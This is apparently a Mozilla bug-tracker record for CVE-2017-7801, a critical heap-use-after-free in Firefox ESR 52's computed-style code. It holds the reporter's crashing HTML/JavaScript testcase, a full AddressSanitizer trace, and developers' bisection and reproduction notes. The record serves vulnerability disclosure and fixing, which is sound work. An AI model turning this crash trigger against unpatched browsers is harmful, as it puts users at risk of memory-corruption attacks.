Bug 1371259 (CVE-2017-7801)

heap-use-after-free in nsComputedDOMStyle::UpdateCurrentStyleSources

VERIFIED FIXED in Firefox -esr52

Status

()

VERIFIED FIXED
2 years ago
11 days ago

People

(Reporter: nils, Assigned: bzbarsky)

Tracking

(Depends on: 1 bug, {csectype-uaf, sec-critical})

52 Branch
mozilla56
csectype-uaf, sec-critical
Points:
---
Dependency tree / graph
Bug Flags:
sec-bounty +

Firefox Tracking Flags

(firefox-esr5255+ verified, firefox53 wontfix, firefox54 wontfix, firefox55+ verified, firefox56+ verified)

Details

(Whiteboard: [adv-main55+][adv-esr52.3+])

Attachments

(22 attachments, 19 obsolete attachments)

772 bytes, text/html
Details
21.67 KB, text/plain
Details
23.90 KB, text/plain
Details
1012 bytes, text/html
Details
12.27 KB, application/x-xpinstall
Details
4.03 KB, patch
Details | Diff | Splinter Review
1.47 KB, patch
peterv
: review+
Details | Diff | Splinter Review
7.28 KB, patch
peterv
: review+
Details | Diff | Splinter Review
1.79 KB, patch
peterv
: review+
Details | Diff | Splinter Review
1.67 KB, patch
Details | Diff | Splinter Review
1.60 KB, patch
Details | Diff | Splinter Review
14.36 KB, patch
peterv
: review+
Details | Diff | Splinter Review
92.98 KB, patch
Details | Diff | Splinter Review
50.22 KB, patch
Details | Diff | Splinter Review
5.80 KB, patch
peterv
: review+
Details | Diff | Splinter Review
20.58 KB, patch
Details | Diff | Splinter Review
13.04 KB, patch
Details | Diff | Splinter Review
49.86 KB, patch
Details | Diff | Splinter Review
2.01 KB, patch
peterv
: review+
Details | Diff | Splinter Review
91.83 KB, patch
Details | Diff | Splinter Review
93.56 KB, patch
Details | Diff | Splinter Review
93.79 KB, patch
Details | Diff | Splinter Review
(Reporter)

Description

2 years ago
Posted file crash.html
The following testcase crashes the latest ASAN build of Firefox ESR 52.2.0 (20170607010726)

<script>
function start() {
	o0=window.open('data:text/html,<div>','popup65','height=88,width=131081,top=46,outerHeight=-1024,toolbar,resizable');
	o1=window.open('data:text/html,<div>','popup73','height=-1,width=64,outerHeight=38,outerWidth=-8,toolbar,resizable');
	o1.onload=fun0;
}
function fun0(e) {
	o5=o0.document;
	o0.onresize=fun1;
	o45=o5.querySelector('*:not([id])');
	o95=document.createElementNS('http://www.w3.org/1999/xhtml','marquee');
	o45.appendChild(o95);
	o0.resizeBy(8,4194304);
}
function fun1() {
	o0.close();
	o1.open('data:text/html,<div>','popup3','width=1,left=32768,menubar,toolbar,personalbar,status,resizable');
	fuzzPriv.GC();fuzzPriv.CC();fuzzPriv.GC();fuzzPriv.CC();
}
</script>
<body onload="start()"></body>
=================================================================
==1349==ERROR: AddressSanitizer: heap-use-after-free on address 0x60c0008a1ea0 at pc 0x7f65e45838b1 bp 0x7fff56b07810 sp 0x7fff56b07808
WRITE of size 8 at 0x60c0008a1ea0 thread T0
    #0 0x7f65e45838b0 in nsComputedDOMStyle::UpdateCurrentStyleSources(bool) /home/worker/workspace/build/src/layout/style/nsComputedDOMStyle.cpp:639:14
    #1 0x7f65e4583efb in nsComputedDOMStyle::GetPropertyCSSValue(nsAString_internal const&, mozilla::ErrorResult&) /home/worker/workspace/build/src/layout/style/nsComputedDOMStyle.cpp:796:3
    #2 0x7f65e4582196 in nsComputedDOMStyle::GetPropertyValue(nsAString_internal const&, nsAString_internal&) /home/worker/workspace/build/src/layout/style/nsComputedDOMStyle.cpp:379:26
    #3 0x7f65e4581fb8 in nsComputedDOMStyle::GetPropertyValue(nsCSSPropertyID, nsAString_internal&) /home/worker/workspace/build/src/layout/style/nsComputedDOMStyle.cpp:317:10
    #4 0x7f65e0ed3ae9 in GetWidth /home/worker/workspace/build/src/layout/style/nsCSSPropList.h:4392:1
    #5 0x7f65e0ed3ae9 in mozilla::dom::CSS2PropertiesBinding::get_width(JSContext*, JS::Handle<JSObject*>, nsDOMCSSDeclaration*, JSJitGetterCallArgs) /home/worker/workspace/build/src/obj-firefox/dom/bindings/CSS2PropertiesBinding.cpp:42528
    #6 0x7f65e243ce3d in mozilla::dom::GenericBindingGetter(JSContext*, unsigned int, JS::Value*) /home/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:2813:13
    #7 0x7f65e87ba2e5 in CallJSNative /home/worker/workspace/build/src/js/src/jscntxtinlines.h:239:15
    #8 0x7f65e87ba2e5 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:447
    #9 0x7f65e87baf92 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:523:10
    #10 0x7f65e828c12d in JS::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/jsapi.cpp:2828:12
    #11 0x7f65df404ea2 in Call /home/worker/workspace/build/src/obj-firefox/dist/include/jsapi.h:3330:12
    #12 0x7f65df404ea2 in xpc::XrayWrapper<js::CrossCompartmentWrapper, xpc::DOMXrayTraits>::get(JSContext*, JS::Handle<JSObject*>, JS::Handle<JS::Value>, JS::Handle<jsid>, JS::MutableHandle<JS::Value>) const /home/worker/workspace/build/src/js/xpconnect/wrappers/XrayWrapper.cpp:2247
    #13 0x7f65e85043ee in js::Proxy::get(JSContext*, JS::Handle<JSObject*>, JS::Handle<JS::Value>, JS::Handle<jsid>, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/proxy/Proxy.cpp:309:12
    #14 0x7f65e850478c in GetProperty /home/worker/workspace/build/src/js/src/vm/NativeObject.h:1522:16
    #15 0x7f65e850478c in js::Proxy::get(JSContext*, JS::Handle<JSObject*>, JS::Handle<JS::Value>, JS::Handle<jsid>, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/proxy/Proxy.cpp:305
    #16 0x7f65e87c65e1 in GetProperty /home/worker/workspace/build/src/js/src/vm/NativeObject.h:1522:16
    #17 0x7f65e87c65e1 in GetProperty /home/worker/workspace/build/src/js/src/jsobj.h:846
    #18 0x7f65e87c65e1 in js::GetProperty(JSContext*, JS::Handle<JS::Value>, JS::Handle<js::PropertyName*>, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:4263
    #19 0x7f65e879eb9c in GetPropertyOperation /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:192:12
    #20 0x7f65e879eb9c in Interpret(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:2639
    #21 0x7f65e877f8ad in js::RunScript(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:405:12
    #22 0x7f65e87ba94f in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:477:15
    #23 0x7f65e87baf92 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:523:10
    #24 0x7f65e8289ec2 in JS_CallFunctionValue(JSContext*, JS::Handle<JSObject*>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/jsapi.cpp:2769:12
    #25 0x7f65e3cb130b in Call /home/worker/workspace/build/src/obj-firefox/dist/include/jsapi.h:3310:14
    #26 0x7f65e3cb130b in nsXBLProtoImplAnonymousMethod::Execute(nsIContent*, JSAddonId*) /home/worker/workspace/build/src/dom/xbl/nsXBLProtoImplMethod.cpp:331
    #27 0x7f65e3c7b24e in nsXBLBinding::ExecuteAttachedHandler() /home/worker/workspace/build/src/dom/xbl/nsXBLBinding.cpp:634:5
    #28 0x7f65e3c7b04e in nsBindingManager::ProcessAttachedQueueInternal(unsigned int) /home/worker/workspace/build/src/dom/xbl/nsBindingManager.cpp:419:7
    #29 0x7f65e4aa5009 in ProcessAttachedQueue /home/worker/workspace/build/src/dom/xbl/nsBindingManager.h:105:5
    #30 0x7f65e4aa5009 in PresShell::FlushPendingNotifications(mozilla::ChangesToFlush) /home/worker/workspace/build/src/layout/base/nsPresShell.cpp:4167
    #31 0x7f65e47b721c in nsRefreshDriver::Tick(long, mozilla::TimeStamp) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:1836:11
    #32 0x7f65e47c3a61 in mozilla::RefreshDriverTimer::TickRefreshDrivers(long, mozilla::TimeStamp, nsTArray<RefPtr<nsRefreshDriver> >&) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:295:7
    #33 0x7f65e47c34f5 in mozilla::RefreshDriverTimer::Tick(long, mozilla::TimeStamp) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:316:5
    #34 0x7f65e47c601e in applyImpl<mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver, void (mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver::*)(mozilla::TimeStamp), StoreCopyPassByValue<mozilla::TimeStamp> , 0> /home/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:775:12
    #35 0x7f65e47c601e in apply<mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver, void (mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver::*)(mozilla::TimeStamp)> /home/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:781
    #36 0x7f65e47c601e in mozilla::detail::RunnableMethodImpl<void (mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver::*)(mozilla::TimeStamp), true, false, mozilla::TimeStamp>::Run() /home/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:810
    #37 0x7f65ddd178bb in nsThread::ProcessNextEvent(bool, bool*) /home/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1216:7
    #38 0x7f65ddd999fc in NS_ProcessNextEvent(nsIThread*, bool) /home/worker/workspace/build/src/xpcom/glue/nsThreadUtils.cpp:361:10
    #39 0x7f65deb5140f in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /home/worker/workspace/build/src/ipc/glue/MessagePump.cpp:96:21
    #40 0x7f65deac2fc8 in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:232:3
    #41 0x7f65deac2fc8 in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:225
    #42 0x7f65deac2fc8 in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:205
    #43 0x7f65e40ec19f in nsBaseAppShell::Run() /home/worker/workspace/build/src/widget/nsBaseAppShell.cpp:156:3
    #44 0x7f65e6166451 in nsAppStartup::Run() /home/worker/workspace/build/src/toolkit/components/startup/nsAppStartup.cpp:283:19
    #45 0x7f65e62fd757 in XREMain::XRE_mainRun() /home/worker/workspace/build/src/toolkit/xre/nsAppRunner.cpp:4488:10
    #46 0x7f65e62feecd in XREMain::XRE_main(int, char**, nsXREAppData const*) /home/worker/workspace/build/src/toolkit/xre/nsAppRunner.cpp:4621:8
    #47 0x7f65e62ffd8c in XRE_main /home/worker/workspace/build/src/toolkit/xre/nsAppRunner.cpp:4712:16
    #48 0x4df91a in do_main /home/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:282:10
    #49 0x4df91a in main /home/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:415
    #50 0x7f65f8fc182f in __libc_start_main /build/glibc-9tT8Do/glibc-2.23/csu/../csu/libc-start.c:291
    #51 0x41ba88 in _start (/home/nils/fuzzer3/esr/firefox/firefox+0x41ba88)

0x60c0008a1ea0 is located 96 bytes inside of 128-byte region [0x60c0008a1e40,0x60c0008a1ec0)
freed by thread T0 here:
    #0 0x4b21db in __interceptor_free /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:38:3
    #1 0x7f65ddbe0354 in SnowWhiteKiller::~SnowWhiteKiller() /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2665:9
    #2 0x7f65ddbdff46 in nsCycleCollector::FreeSnowWhite(bool) /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2840:3
    #3 0x7f65ddbe701e in nsCycleCollector::BeginCollection(ccType, nsICycleCollectorListener*) /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3826:3
    #4 0x7f65ddbe64dc in nsCycleCollector::Collect(ccType, js::SliceBudget&, nsICycleCollectorListener*, bool) /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3651:9
    #5 0x7f65ddbea556 in nsCycleCollector_collect(nsICycleCollectorListener*) /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:4144:3
    #6 0x7f65e0a7cb19 in nsJSContext::CycleCollectNow(nsICycleCollectorListener*, int) /home/worker/workspace/build/src/dom/base/nsJSEnvironment.cpp:1440:3
    #7 0x7f65e05aa55d in nsDOMWindowUtils::CycleCollect(nsICycleCollectorListener*, int) /home/worker/workspace/build/src/dom/base/nsDOMWindowUtils.cpp:1340:3
    #8 0x7f65ddd3fec6 in NS_InvokeByIndex /home/worker/workspace/build/src/xpcom/reflect/xptcall/md/unix/xptcinvoke_x86_64_unix.cpp:180:23
    #9 0x7f65df562fbe in Invoke /home/worker/workspace/build/src/js/xpconnect/src/XPCWrappedNative.cpp:2058:12
    #10 0x7f65df562fbe in Call /home/worker/workspace/build/src/js/xpconnect/src/XPCWrappedNative.cpp:1377
    #11 0x7f65df562fbe in XPCWrappedNative::CallMethod(XPCCallContext&, XPCWrappedNative::CallMode) /home/worker/workspace/build/src/js/xpconnect/src/XPCWrappedNative.cpp:1344
    #12 0x7f65df56a648 in XPC_WN_CallMethod(JSContext*, unsigned int, JS::Value*) /home/worker/workspace/build/src/js/xpconnect/src/XPCWrappedNativeJSOps.cpp:999:12
    #13 0x7f65e87ba2e5 in CallJSNative /home/worker/workspace/build/src/js/src/jscntxtinlines.h:239:15
    #14 0x7f65e87ba2e5 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:447
    #15 0x7f65e879a6ef in CallFromStack /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:510:12
    #16 0x7f65e879a6ef in Interpret(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:2922
    #17 0x7f65e877f8ad in js::RunScript(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:405:12
    #18 0x7f65e87ba94f in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:477:15
    #19 0x7f65e87baf92 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:523:10
    #20 0x7f65e8289ec2 in JS_CallFunctionValue(JSContext*, JS::Handle<JSObject*>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/jsapi.cpp:2769:12
    #21 0x7f65df48b8af in xpc::FunctionForwarder(JSContext*, unsigned int, JS::Value*) /home/worker/workspace/build/src/js/xpconnect/src/ExportHelpers.cpp:319:18
    #22 0x7f65e87ba2e5 in CallJSNative /home/worker/workspace/build/src/js/src/jscntxtinlines.h:239:15
    #23 0x7f65e87ba2e5 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:447
    #24 0x7f65e879a6ef in CallFromStack /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:510:12
    #25 0x7f65e879a6ef in Interpret(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:2922
    #26 0x7f65e877f8ad in js::RunScript(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:405:12
    #27 0x7f65e87ba94f in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:477:15
    #28 0x7f65e87baf92 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:523:10
    #29 0x7f65e852960c in js::Wrapper::call(JSContext*, JS::Handle<JSObject*>, JS::CallArgs const&) const /home/worker/workspace/build/src/js/src/proxy/Wrapper.cpp:165:12
    #30 0x7f65e84f8f5f in js::CrossCompartmentWrapper::call(JSContext*, JS::Handle<JSObject*>, JS::CallArgs const&) const /home/worker/workspace/build/src/js/src/proxy/CrossCompartmentWrapper.cpp:333:14
    #31 0x7f65e850672f in js::Proxy::call(JSContext*, JS::Handle<JSObject*>, JS::CallArgs const&) /home/worker/workspace/build/src/js/src/proxy/Proxy.cpp:400:12
    #32 0x7f65e8508ede in js::proxy_Call(JSContext*, unsigned int, JS::Value*) /home/worker/workspace/build/src/js/src/proxy/Proxy.cpp:689:12
    #33 0x7f65e87ba2e5 in CallJSNative /home/worker/workspace/build/src/js/src/jscntxtinlines.h:239:15
    #34 0x7f65e87ba2e5 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:447
    #35 0x7f65e87baf92 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:523:10
    #36 0x7f65e828c12d in JS::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/jsapi.cpp:2828:12

previously allocated by thread T0 here:
    #0 0x4b24fb in malloc /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:52:3
    #1 0x4e0ded in moz_xmalloc /home/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:83:17
    #2 0x7f65e458003a in operator new /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:194:12
    #3 0x7f65e458003a in NS_NewComputedDOMStyle(mozilla::dom::Element*, nsAString_internal const&, nsIPresShell*, nsComputedDOMStyle::StyleType) /home/worker/workspace/build/src/layout/style/nsComputedDOMStyle.cpp:72
    #4 0x7f65e066c40d in nsGlobalWindow::GetComputedStyleHelperOuter(mozilla::dom::Element&, nsAString_internal const&, bool) /home/worker/workspace/build/src/dom/base/nsGlobalWindow.cpp:10814:5
    #5 0x7f65e066be90 in nsGlobalWindow::GetComputedStyleHelper(mozilla::dom::Element&, nsAString_internal const&, bool, mozilla::ErrorResult&) /home/worker/workspace/build/src/dom/base/nsGlobalWindow.cpp:10827:3
    #6 0x7f65e066bb56 in nsGlobalWindow::GetComputedStyle(mozilla::dom::Element&, nsAString_internal const&, mozilla::ErrorResult&) /home/worker/workspace/build/src/dom/base/nsGlobalWindow.cpp:10743:10
    #7 0x7f65e1bea044 in mozilla::dom::WindowBinding::getComputedStyle(JSContext*, JS::Handle<JSObject*>, nsGlobalWindow*, JSJitMethodCallArgs const&) /home/worker/workspace/build/src/obj-firefox/dom/bindings/WindowBinding.cpp:3162:49
    #8 0x7f65e1be3634 in mozilla::dom::WindowBinding::genericMethod(JSContext*, unsigned int, JS::Value*) /home/worker/workspace/build/src/obj-firefox/dom/bindings/WindowBinding.cpp:15157:13
    #9 0x7f65e87ba2e5 in CallJSNative /home/worker/workspace/build/src/js/src/jscntxtinlines.h:239:15
    #10 0x7f65e87ba2e5 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:447
    #11 0x7f65e879a6ef in CallFromStack /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:510:12
    #12 0x7f65e879a6ef in Interpret(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:2922
    #13 0x7f65e877f8ad in js::RunScript(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:405:12
    #14 0x7f65e87ba94f in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:477:15
    #15 0x7f65e87baf92 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:523:10
    #16 0x7f65e8289ec2 in JS_CallFunctionValue(JSContext*, JS::Handle<JSObject*>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /home/worker/workspace/build/src/js/src/jsapi.cpp:2769:12
    #17 0x7f65e3cb130b in Call /home/worker/workspace/build/src/obj-firefox/dist/include/jsapi.h:3310:14
    #18 0x7f65e3cb130b in nsXBLProtoImplAnonymousMethod::Execute(nsIContent*, JSAddonId*) /home/worker/workspace/build/src/dom/xbl/nsXBLProtoImplMethod.cpp:331
    #19 0x7f65e3c7b24e in nsXBLBinding::ExecuteAttachedHandler() /home/worker/workspace/build/src/dom/xbl/nsXBLBinding.cpp:634:5
    #20 0x7f65e3c7b04e in nsBindingManager::ProcessAttachedQueueInternal(unsigned int) /home/worker/workspace/build/src/dom/xbl/nsBindingManager.cpp:419:7
    #21 0x7f65e4aa5009 in ProcessAttachedQueue /home/worker/workspace/build/src/dom/xbl/nsBindingManager.h:105:5
    #22 0x7f65e4aa5009 in PresShell::FlushPendingNotifications(mozilla::ChangesToFlush) /home/worker/workspace/build/src/layout/base/nsPresShell.cpp:4167
    #23 0x7f65e47b721c in nsRefreshDriver::Tick(long, mozilla::TimeStamp) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:1836:11
    #24 0x7f65e47c3a61 in mozilla::RefreshDriverTimer::TickRefreshDrivers(long, mozilla::TimeStamp, nsTArray<RefPtr<nsRefreshDriver> >&) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:295:7
    #25 0x7f65e47c34f5 in mozilla::RefreshDriverTimer::Tick(long, mozilla::TimeStamp) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:316:5
    #26 0x7f65e47c601e in applyImpl<mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver, void (mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver::*)(mozilla::TimeStamp), StoreCopyPassByValue<mozilla::TimeStamp> , 0> /home/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:775:12
    #27 0x7f65e47c601e in apply<mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver, void (mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver::*)(mozilla::TimeStamp)> /home/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:781
    #28 0x7f65e47c601e in mozilla::detail::RunnableMethodImpl<void (mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver::*)(mozilla::TimeStamp), true, false, mozilla::TimeStamp>::Run() /home/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:810
    #29 0x7f65ddd178bb in nsThread::ProcessNextEvent(bool, bool*) /home/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1216:7
    #30 0x7f65ddd999fc in NS_ProcessNextEvent(nsIThread*, bool) /home/worker/workspace/build/src/xpcom/glue/nsThreadUtils.cpp:361:10
    #31 0x7f65deb5140f in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /home/worker/workspace/build/src/ipc/glue/MessagePump.cpp:96:21
    #32 0x7f65deac2fc8 in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:232:3
    #33 0x7f65deac2fc8 in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:225
    #34 0x7f65deac2fc8 in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:205
    #35 0x7f65e40ec19f in nsBaseAppShell::Run() /home/worker/workspace/build/src/widget/nsBaseAppShell.cpp:156:3
    #36 0x7f65e6166451 in nsAppStartup::Run() /home/worker/workspace/build/src/toolkit/components/startup/nsAppStartup.cpp:283:19
    #37 0x7f65e62fd757 in XREMain::XRE_mainRun() /home/worker/workspace/build/src/toolkit/xre/nsAppRunner.cpp:4488:10
    #38 0x7f65e62feecd in XREMain::XRE_main(int, char**, nsXREAppData const*) /home/worker/workspace/build/src/toolkit/xre/nsAppRunner.cpp:4621:8

SUMMARY: AddressSanitizer: heap-use-after-free /home/worker/workspace/build/src/layout/style/nsComputedDOMStyle.cpp:639:14 in nsComputedDOMStyle::UpdateCurrentStyleSources(bool)
Shadow bytes around the buggy address:
  0x0c188010c380: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c188010c390: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
  0x0c188010c3a0: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa
  0x0c188010c3b0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c188010c3c0: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
=>0x0c188010c3d0: fd fd fd fd[fd]fd fd fd fa fa fa fa fa fa fa fa
  0x0c188010c3e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c188010c3f0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x0c188010c400: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa
  0x0c188010c410: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c188010c420: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==1349==ABORTING
(Reporter)

Comment 1

2 years ago
Posted file ASAN stacks
Group: core-security → layout-core-security
Component: DOM → CSS Parsing and Computation
Keywords: csectype-uaf
Heycam, can you take a look?
Flags: needinfo?(cam)
Keywords: sec-critical
I'm taking a look...  NOTE: the testcase requires the domfuzz extension to be installed (which I built locally by running "make" in this directory: https://github.com/MozillaSecurity/domfuzz/tree/master/dom/extension ).

I can reproduce in ESR52 -- the latest esr52 release (no ASAN required).  It just crashes within a second or two, when I load the testcase.[1]

I can also trigger the reported ASAN issue in local opt builds of ESR52 (with & without ASAN).

HOWEVER:
I don't get a crash in stock Nightly, nor in mozilla-central rewound to an arbitrary Firefox 52-era cset, nor in an arbitrary Aurora 52 build that I tested:
https://archive.mozilla.org/pub/firefox/nightly/2016/11/2016-11-30-00-40-19-mozilla-aurora/firefox-52.0a2.en-US.linux-x86_64.tar.bz2

(I can't test Release 52 or Beta 52 because they don't accept unsigned extensions and there's no way to make them do so, AFAICT.)

So this is either something that briefly affected 52 and was subsequently fixed [and ESR52 needs the fix], or it might be a regression that just happened on the 52 branch [and maybe on beta/release but we can't tell because they won't accept the extension which is required to run the testcase].
I'm narrowing down the regression range via "hg bisect" in the mozilla-esr52 repo.  Right now I've got a known-good & known-bad endpoints, with a ~1200-cset fix range between them.  That should only require ~10 trials to bisect (which is reasonably fast with the icecc build cluster in MV).
hg bisect says this started crashing as of this cset:
  https://hg.mozilla.org/releases/mozilla-esr52/rev/01d67bfe6c81
...which is a "Update configs for release" change.

We can ignore the mozconfig changes there (which shouldn't matter for my local build because I'm using my own mozconfig).

Of the remaining files, I've found with local testing that I can "fix" a build from that ^ cset by reverting its changes to these files (probably not all are necessary):
 browser/confvars.sh
 browser/config/version.txt
 browser/config/version_display.txt
 config/milestone.txt

Bottom-line: I'll bet there's some feature/behavior here that is dependent on "is this a release build" which those ^^ files' changes toggle.  So the real regression was older, and it's possible it's still present on Nightly if I toggle the same thing.
Flags: needinfo?(cam) → needinfo?(dholbert)
Fwiw, I seem to recall setting xpinstall.signatures.required to false to install DOMFuzz.
Yup, thanks -- I had to do that here, & I'm testing in a profile that's got that pref manually set.

I'm definitely seeing terminal output ("DOMFuzzHelper created") in both crashy & non-crashy builds during my testing, too.  So the versioning-related regression isn't due to the extension's installability.
OK, the key file from comment 5 is config/milestone.txt.  For this bug to be reproducible, that file's version number must NOT have a suffix after the version number (so it needs to be e.g. "55.0", not "55.0a1").

For convenience, here's a patch to make that tweak, and to set two extension-related prefs to DomFuzz-friendly defaults.  With this patch, this bug is reproducible in trunk.
Flags: needinfo?(dholbert)
status-firefox53: --- → affected
status-firefox54: --- → affected
status-firefox55: --- → affected
status-firefox-esr52: --- → affected
Here's a better reproducibility-enhancing patch -- it does one additional thing now: enables a pref to allow popups (since the testcase spawns some & needs you to allow them).

This just removes one manual step from reproducing.  So, current STR:
 1. Apply this patch to trunk and build (ideally with ASAN enabled)
